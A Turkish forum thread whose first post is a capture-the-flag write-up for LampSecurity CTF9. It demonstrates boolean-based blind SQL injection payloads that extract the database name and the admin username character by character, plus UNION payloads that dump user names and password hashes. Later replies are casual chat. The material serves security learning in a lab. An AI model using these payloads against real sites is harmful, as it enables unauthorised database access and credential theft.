|
Bilgisayar - Donanım kategorisinde açılmış olan LampSecurity Boolean-based Blind SQL Injection Çözümü konusu , ...
| LinkBack | Seçenekler | Arama | Stil |
07.05.2016, 20:53 | #1 (permalink) |
Frav frivlbehz. | LampSecurity Boolean-based Blind SQL Injection Çözümü LampSecurity Boolean-based Blind SQL Injection Çözümü Merhaba madirish2600 tarafından hazırlanan LampSecurity CTF9'un Blind SQL Injection bölümünü anlatacağım. Öncelikle Blind SQL Injection sıradan SQL Injection'dan daha fazla vakit isteyen ve uğraştıran bir injectiondır. Alıştıktan sonra çözmesi, uğraşması gayet keyiflidir. Boolean-based Blind SQL injection Blind sql inj. olup olmadığını tespit etmek için [id] parametresinden sonra gelen değere AND 1=1# (her zaman true döner) ve AND 1=2# (her zaman false döner) ekleriz. 1=1 olduğu için sayfada bozulma meydana gelmez yani veritabanından veri getirirken herhangi bir eksiklik olmaz. ancak her zaman false dönen 1=2 sorgusunu çalıştırırsak sayfada eskiklikler meydana gelir. Bunu görebiliyorsak blind sql inj ceptedir Sonrasında MySQL veritabanının versiyonunu bilmemiz gerekir. Yine true false mantığı ile devam ederiz. and substring(version(),1,1)=5# sorgusu true dönüyorsa yani sayfada sıkıntı çıkmıyorsa MySQL versiyonumuz 5'tir, and substring(version(),1,1)=4# de true dönüyorsa 4'tür. Blind SQL Inj. tespit ettik ve veritabanı versiyonumuzu öğrendik. Peki sırada ne var? Şimdi biraz daha ayrıntıya girme vakti. Her veritabanının bir adı vardır ve blind inj yaparken db adını, tablo ve kolon adlarını, çekilecek verilere kadar tahmin ve deneme yanılma yoluyla buluruz. Bu yüzden uğraştırır ancak zevklidir DB adını öğrenmeden önce db adının uzunluğunu öğrenip tahmin yürütmek zaman kazandıracaktır. Ben yarışmayı bitirdiğim için fazla uzatmadan yazıyorum, veritabanı adının uzunluğu 7 karakter (lampsec) ve bunu da and length(database())=7# sorgusu true dönünce anlıyoruz. 7 haricinde verilecek tüm sayılar false döndürecektir ve sayfada bozukluk meydana gelecektir. Sonrasında DB adını bilmeye geldi. and substring(database(),1,1)="f"# FALSE dönecektir çünkü veritabanı adının ilk harfi "l" harfidir. Ancak biz "f" olarak denedik. TRUE dönmesi için and substring(database(),1,1)="l"# yazarız. Sonraki harfleri bulmak için ise aşağıdaki yol izlenmelidir; Kod: and substring(database(),2,1)="a"# TRUE and substring(database(),3,1)="m"# TRUE and substring(database(),4,1)="p"# TRUE and substring(database(),5,1)="s"# TRUE and substring(database(),6,1)="e"# TRUE and substring(database(),7,1)="c"# TRUE and (select 1 from mysql.user limit 0,1)=1# user tablosu var mı yok mu? and (select 1 from user limit 0,1)=1# Kullanıcı girişi user_name ve user_password kolonlarındaki değerler ile yapılacağı için bakmamız gereken kolonlar user tablosundaki bu kolonlardır. TRUE dönerse senindir, dönmezse başka kolon adlarını denersin. Örneğin aşağıdaki user_name kolonu yerine username yazarsam false dönecektir. Çünkü kolon yoktur. ########## Kolon var mı yok mu? and (select substring(concat(1,user_name),1,1) from user limit 0,1)=1# and (select substring(concat(1,user_password),1,1) from user limit 0,1)=1# ########## Kullanıcı adını bulma işlemi; and ascii(substring((SELECT concat(user_name) from user limit 0,1),1,1))>96# Hacı bu 96 nereden çıktı? Ne güzel ilerliyorduk işte diyenler için deneme yanılma/tahmin bölümünü hatırlatmak isterim. ASCII karakter tablosunda "a" harfinin karşılığı decimal(97)'dir. Ancak sorgunun TRUE dönmesi için bir eksiği alınır ve dahil edilir. Direkt 97 yazarsam FALSE dönecekti. Admin kullanıcısının user_name kolonundaki girdisi administrator'dür. Tüm harfleri ASCII tablosu ile teker teker yazarak test edebilirsiniz. Bu yüzden son harf "r" harfi olacaktır ve tablodaki karşılığı 114'tür. Bir eksiğini alır veriyi post ederiz. and ascii(substring((SELECT concat(user_name) from user limit 0,1),13,1))>113# ==> TRUE and ascii(substring((SELECT concat(user_name) from user limit 0,1),13,1))>114# ==> FALSE Dikkat edilmesi gereken yer limit 0,1),1,1))>96 bölümünün limit 0,1),13,1))>113 olarak değişmiş olmasıdır. Açıklaması şudur; "user tablosundaki user_name kolonunda kayıtlı ilk verinin 13. değeri ASCII karşılığı olarak 113'den büyük müdür?" Payload'ı limit 0,1),13,1))=114# şeklinde de döndürebilirsiniz. Bu şekilde sayfa yine doğru olarak yüklenecektir. Buna göre çıkan sonuç olacaktır. Aynı adımları user_password kolonu için de yapıp md5 çıktığını [a-f]-[0-9] ASCII değerine göre alabilirsiniz. Eğer sıradan SQL Injection atağı yapmış olsaydım (ki CTF'de bu da mevcut ama zoru çözmek güzeldir kullanacağım payload şu şekilde olacaktı; Veritabanının versiyonunu öğren union select 1,2,3,4,5,@@version,7,database()-- union select 1,2,3,4,5,concat(user_id,0x3a,user_name,0x3a,user_ password),7,8 from user-- ASCII Tablosu Dipnot : Her fırsatta SQL Injection biliyormuş gibi zırlayan ve ahkam kesen havij bebelerini sahalarda görmek isteriz. g0ts@sec baba akar..
__________________ life over comp. sci. |
07.05.2016, 22:12 | #2 (permalink) |
| Cevap: LampSecurity Boolean-based Blind SQL Injection Çözümü pehhhh bu kodlarla oynamak ne kadar güzel keşke bilgisayar bölümü okusaydım.
__________________ all the best. |
08.05.2016, 16:42 | #3 (permalink) |
Frav frivlbehz. | Cevap: LampSecurity Boolean-based Blind SQL Injection Çözümü @[Link'i Görebilmeniz İçin Kayıt Olunuz.! Kayıt OL] Okumadan daha hoş oluyor kanka. Böyle sana öğretecek biri olmayınca daha fazla azim ediyorsun, daha iyi öğreniyorsun
__________________ life over comp. sci. |
08.05.2016, 18:43 | #4 (permalink) | |
| Cevap: LampSecurity Boolean-based Blind SQL Injection Çözümü Alıntı:
__________________ all the best. | |
08.05.2016, 19:03 | #5 (permalink) |
Frav frivlbehz. | Cevap: LampSecurity Boolean-based Blind SQL Injection Çözümü Ayıpsın, yazar çizeriz bi şeyler
__________________ life over comp. sci. |
Yukarı'daki Konuyu Aşağıdaki Sosyal Ağlarda Paylaşabilirsiniz. |
| |
Forum hakkında | Kullanılan sistem hakkında |
| SEO by vBSEO 3.6.0 PL2 ©2011, Crawlability, Inc. |